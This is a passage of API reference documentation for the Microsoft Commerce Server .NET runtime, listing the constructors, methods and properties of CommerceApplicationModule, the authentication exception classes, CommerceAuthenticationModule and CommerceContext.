Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance is initialized.

Public Static (Shared) Properties

Property | Description
DebugContext | Gets or sets the debug mode for the DebugContext class.
Pipelines | Gets the site pipelines collection.
Resources | Gets the collection of Commerce Server resources configured for the site.
SiteName | Gets the Commerce Server site name.


CommerceApplicationModule.DebugContext Property (BCL)

The DebugContext property is a read/write DebugContext that gets and sets the debug mode used throughout the site.

Definition

[Visual Basic .NET]
Public Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get; set;}

Property Value

The debug mode for the DebugContext class.

Implements

Diagnostics.DebugContext

Remarks

Throws an ArgumentNullException if the value is set to null. The application can set the DebugContext property to a custom instance of the DebugContext class or a derived class if it chooses. The custom instance should be set in Application_OnStart event before the CommerceApplicationModule class is initialized.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule.Pipelines Property (BCL)

The Pipelines property is a read-only version of the current PipelineCollection instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property Pipelines As PipelineCollection
[C#]
public PipelineCollection Pipelines {get;}

Property Value

Contains the current PipelineCollection instance for the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule.Resources Property (BCL)

The Resources property is a read-only version of the current CommerceResourceCollection class.

Definition

[Visual Basic .NET]
Public ReadOnly Property Resources As CommerceResourceCollection
[C#]
public CommerceResourceCollection Resources {get;}

Property Value

Contains the current collection of Commerce Server resources configured for the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule.SiteName Property (BCL)

The SiteName property is a read-only String containing the name of the Commerce Server site.

Definition

[Visual Basic .NET]
Public ReadOnly Property SiteName As System.String
[C#]
public System.String SiteName {get;}

Property Value

Contains the name of the Commerce Server site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Class (BCL)

The base class for exceptions thrown from the Authentication sub-system.

Public Instance Constructor

Constructor | Description
CommerceAuthenticationException Constructor | Creates a new instance of the CommerceAuthenticationException class.
CommerceAuthenticationException Constructor(String) | Creates a new instance of the CommerceAuthenticationException class with the specified string message.
CommerceAuthenticationException Constructor(String, Exception) | Creates a new instance of the CommerceAuthenticationException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceAuthenticationException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceAuthenticationException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
GetObjectData(SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Method | Description
HelpLink (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceAuthenticationException Constructor | Creates a new instance of the CommerceAuthenticationException class.
CommerceAuthenticationException Constructor(String) | Creates a new instance of the CommerceAuthenticationException class with the specified string message.
CommerceAuthenticationException Constructor(String, Exception) | Creates a new instance of the CommerceAuthenticationException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceAuthenticationException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceAuthenticationException class with the specified serialization information and streaming context.


CommerceAuthenticationException Constructor (BCL)

Use this method to create a new instance of the CommerceAuthenticationException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceAuthenticationException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceAuthenticationException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceAuthenticationException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceAuthenticationException instance with the specified string message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceAuthenticationException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The exception message.
[C#]
message
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceAuthenticationException instance with the specified string message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceAuthenticationSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The exception message.
inner
The inner exception.
[C#]
message
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
GetObjectData(SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.


CommerceAuthenticationException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Properties (BCL)

Public Instance Properties

Method | Description
HelpLink (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.


CommerceAuthenticationFailedDecryptionException Class (BCL)

Exception raised whenever a decryption error occurs, most notably when an invalid encryption key or a invalid ticket is used

Public Instance Constructor

Constructor | Description
CommerceAuthenticationFailedDecryptionException Constructor | Creates a new instance of the CommerceAuthentication FailedDecryptionException class.
CommerceAuthenticationFailedDecryptionException Constructor(String) | Creates a new instance of the CommerceAuthentication FailedDecryptionException class with the specified string message.
CommerceAuthenticationFailedDecryptionException Constructor(String, Exception) | Creates a new instance of the CommerceAuthentication FailedDecryptionException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceAuthenticationFailedDecryptionException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceAuthentication FailedDecryptionException object with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceAuthenticationFailedDecryptionException Constructor | Creates a new instance of the CommerceAuthentication FailedDecryptionException class.
CommerceAuthenticationFailedDecryptionException Constructor(String) | Creates a new instance of the CommerceAuthentication FailedDecryptionException class with the specified string message.
CommerceAuthenticationFailedDecryptionException Constructor(String, Exception) | Creates a new instance of the CommerceAuthentication FailedDecryptionException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceAuthenticationFailedDecryptionException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceAuthentication FailedDecryptionException class with the specified serialization information and streaming context.


CommerceAuthenticationFailedDecryptionException Constructor (BCL)

Use this method to create a new instance of the CommerceAuthenticationFailedDecryptionException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceAuthenticationFailedDecryptionException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceAuthenticationFailedDecryptionException class with the specified string message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceAuthenticationFailedDecryptionException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceAuthenticationFailedDecryptionException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
public CommerceAuthenticationFailedDecryptionException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceAuthenticationFailedDecryptionException class with the specified string message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceAuthenticationFailedDecryptionException(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The exception message.
inner
The inner exception.
[C#]
message
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceAuthenticationFailedDecryptionException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.


CommerceAuthenticationModule Class (BCL)

Provides a framework context for managing the authentication of site visitors, client side cookie detection, and creation of an instance of the AuthManagerInfo class at page scope.

Public Instance Constructor

Constructor | Description
CommerceAuthenticationModule Constructor | Creates a new instance of the CommerceAuthenticationModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Release resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Sets the AuthenticationInfo member of the current CommerceContext object.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceAuthenticationModule Constructor | Creates a new instance of the CommerceAuthenticationModule class.


CommerceAuthenticationModule Constructor (BCL)

Use this method to create a new instance of the CommerceAuthenticationModule class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceAuthenticationModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Release resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Sets the AuthenticationInfo member of the current CommerceContext object.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceAuthenticationModule.Init (HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The HttpApplication instance that created this module.
[C#]
appInstance
The HttpApplication instance that created this module.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationModule.OnBeginRequest (Object, EventArgs) Method (BCL)

Use this method as the event handler for HttpApplication BeginRequest events.

[Visual Basic .NET]
Public Sub OnBeginRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnBeginRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
HttpApplication instance that sent the event.
e
The current EventArgs instance.
[C#]
sender
HttpApplication instance that sent the event.
e
The current EventArgs instance.

Remarks

Sets the AuthenticationInfo member of the current CommerceContext object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.


CommerceContext Class (BCL)

The primary class used to interface with Commerce Server.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetCatalogsForUser | Gets the list of catalogs for the current user.
LogCommerceEvent(BaseCommerceEvent) | Logs a Commerce event.
RegisterDisposable(Object) | Registers objects that can be disposed of early using the Dispose method. Only page-scoped objects should be registered, these objects will become invalid after the request is done processing and the instance of the CommerceContext class is disposed.

Public Instance Properties

Property | Description
AuthenticationInfo | Gets the AuthenticationInfo class instance that was created by the CommerceAuthenticationModule class.
Caches | Gets the collection of caches configured for the site.
CatalogSystem | Gets or sets the default CatalogContext class for use on the site.
DebugContext | Gets the debug mode for the DebugContext class.
OrderSystem | Gets or sets the default OrderContext class for use on the site.
OrganizationProfile | Gets or sets the organization profile for the current user.
Pipelines | Gets the available pipelines collection.
ProfileSystem | Gets or sets the default ProfileContext object for use on the site.
QueryStringBuilder | Gets the default QueryStringBuilder object for use on the site.
Resources | Gets the collection of Commerce Server resources configured for the site.
SiteName | Gets the Commerce Server site name.
TargetingSystem | Gets the TargetingSytemInfo object for this CommerceContext class instance.
UserId | Gets or sets the user ID (user profile primary key) for the current user.
UserProfile | Gets or sets the UserObject profile for the current user.

Public Static (Shared) Properties

Property | Description
Current | Retrieves the CommerceContext object for the current request.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Pipelines Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Profiles Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


CommerceContext Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetCatalogsForUser | Gets the list of catalogs for the current user.
LogCommerceEvent(BaseCommerceEvent) | Logs a commerce event.
RegisterDisposable(Object) | Registers objects that can be disposed of early using the Dispose method. Only page-scoped objects should be registered, these objects will become invalid after the request is done processing and the instance of the CommerceContext class is disposed.

See Also

Example Code for the Microsoft.CommerceServer.Runtime Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Pipelines Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Profiles Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


CommerceContext.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Module Design Patterns


CommerceContext.GetCatalogsForUser Method (BCL)

Use this method to get the list of catalogs for the current user.

Definition

[Visual Basic .NET]
Public Function GetCatalogsForUser( _
) As ReadOnlyStringCollection
[C#]
public ReadOnlyStringCollection GetCatalogsForUser(
);

Return Value

The list of catalogs that should be shown to the given user.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace


CommerceContext.LogCommerceEvent (BaseCommerceEvent) Method (BCL)

Use this method to log a commerce event.

Definition

[Visual Basic .NET]
Public Shared LogCommerceEvent( _
  ByVal evt As Microsoft.CommerceServer.Runtime.BaseCommerceEvent _
)
[C#]
public static LogCommerceEvent(
  Microsoft.CommerceServer.Runtime.BaseCommerceEvent evt
);

Parameters

[Visual Basic .NET]
evt
A commerce event object that derives from the base commerce event class.
[C#]
evt
A commerce event object that derives from the base commerce event class.

Return Value

Status of the logging function. Return values are defined in the LogStatus Enumeration.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.RegisterDisposable (Object) Method (BCL)

Use this method to register page-scoped objects for disposal. These objects will become invalid after the request is done processing and the instance of the CommerceContext class is disposed.

Definition

[Visual Basic .NET]
Public Sub RegisterDisposable( _
  ByVal disposableObject As System.Object _
)
[C#]
public void RegisterDisposable(
  System.Object disposableObject
);

Parameters

[Visual Basic .NET]
disposableObject
The object that implements the IDisposable interface or a __COMObject type.
[C#]
disposableObject
The object that implements the IDisposable interface or a __COMObject type.

Remarks

In checked mode, this method will ensure that the object implements either the IDisposable interface or is a type of __COMObject. If it is not, then it will raise an error with the DebugContext object for the application.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Resource Disposal


CommerceContext Properties (BCL)

Public Instance Properties

Property | Description
AuthenticationInfo | Gets the AuthenticationInfo class instance that was created by the CommerceAuthenticationModule class.
Caches | Gets the collection of caches configured for the site.
CatalogSystem | Gets or sets the default CatalogContext class for use on the site.
DebugContext | Gets the debug mode for the DebugContext class.
OrderSystem | Gets or sets the default OrderContext class for use on the site.
OrganizationProfile | Gets or sets the organization profile for the current user.
Pipelines | Gets the available pipelines collection.
ProfileSystem | Gets or sets the default ProfileContext object for use on the site.
QueryStringBuilder | Gets the default QueryStringBuilder object for use on the site.
Resources | Gets the collection of Commerce Server resources configured for the site.
SiteName | Gets the Commerce Server site name.
TargetingSystem | Gets the TargetingSytemInfo object for this CommerceContext class instance.
UserId | Gets or sets the user ID (user profile primary key) for the current user.
UserProfile | Gets or sets the UserObject profile for the current user.

Public Static (Shared) Properties

Property | Description
Current | Retrieves the CommerceContext object for the current request.

See Also

Example Code for the Microsoft.CommerceServer.Runtime Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Pipelines Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Profiles Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


CommerceContext.AuthenticationInfo Property (BCL)

The AuthenticationInfo property is a read-only object that retrieves the AuthenticationInfo class instance that was created by the CommerceAuthenticationModule class.

Definition

[Visual Basic .NET]
Public ReadOnly Property AuthenticationInfo As AuthenticationInfo
[C#]
public AuthenticationInfo AuthenticationInfo {get;}

Property Value

The AuthenticationInfo class instance created by the CommerceAuthenticationModule class.

Remarks

Will be null if the CommerceAuthenticationModule class is not enabled in the web.config file.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.Caches Property (BCL)

The Caches property is a read-only CommerceCacheCollection object containing the collection of caches configured for the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property Caches As CommerceCacheCollection
[C#]
public CommerceCacheCollection Caches {get;}

Property Value

The collection of caches configured for the site.

Remarks

The value will be null if the CommerceCacheModule class is not configured in the web.config file. Always check this property for a non-null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.CatalogSystem Property (BCL)

The CatalogSystem property is a read/write CatalogContext object for use on the site.

Definition

[Visual Basic .NET]
Public Property CatalogSystem As CatalogContext
[C#]
public CatalogContext CatalogSystem {get; set;}

Property Value

The CatalogContext class used on the site.

Remarks

A default CatalogContext class is available only if the CommerceCatalogModule class is configured in the web.config file. Always check this property for a non-null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace


CommerceContext.Current Property (BCL)

The Current property is a read-only CommerceContext object containing the current request.

Definition

[Visual Basic .NET]
Public ReadOnly Property Current As CommerceContext
[C#]
public CommerceContext Current {get;}

Property Value

The CommerceContext object containing the current request.

Remarks

CommerceContext objects are created by the Commerce Server .NET Application Framework as part of the processing for every ASPX page in the Commerce Server site. The CommerceApplicationModule class must be configured in the httpModules section in the web.config file.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Pipelines Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Profiles Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


CommerceContext.DebugContext Property (BCL)

The DebugContext property is a read-only DebugContext object that gets the debug mode used throughout the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

The DebugContext object that gets the debug mode used throughout the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to display targeted advertisements on an ASP.NET Web form


CommerceContext.OrderSystem Property (BCL)

The OrderSystem property is a read/write OrderContext object.

Definition

[Visual Basic .NET]
Public Property OrderSystem As OrderContext
[C#]
public OrderContext OrderSystem {get; set;}

Property Value

The read/write OrderContext object used on the site.

Remarks

A default OrderContext object is available only if the CommerceOrderModule class is configured in the web.config file. Always check this property for a non-null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


CommerceContext.OrganizationProfile Property (BCL)

The OrganizationProfile property is a read/write Profile object containing the organization profile for the current user.

Definition

[Visual Basic .NET]
Public Property OrganizationProfile As Profile
[C#]
public Profile OrganizationProfile {get; set;}

Property Value

The Profile object containing the profile for the current user.

Remarks

The OrganizationProfile property is dependent on being set by the UserProfile profile property or set explicitly. The UserProfile property is dependent on being set by UserId property or set explicitly, and the UserId property is dependent upon being set explicitly or obtaining the Id from the AuthTicket object, if it exists.

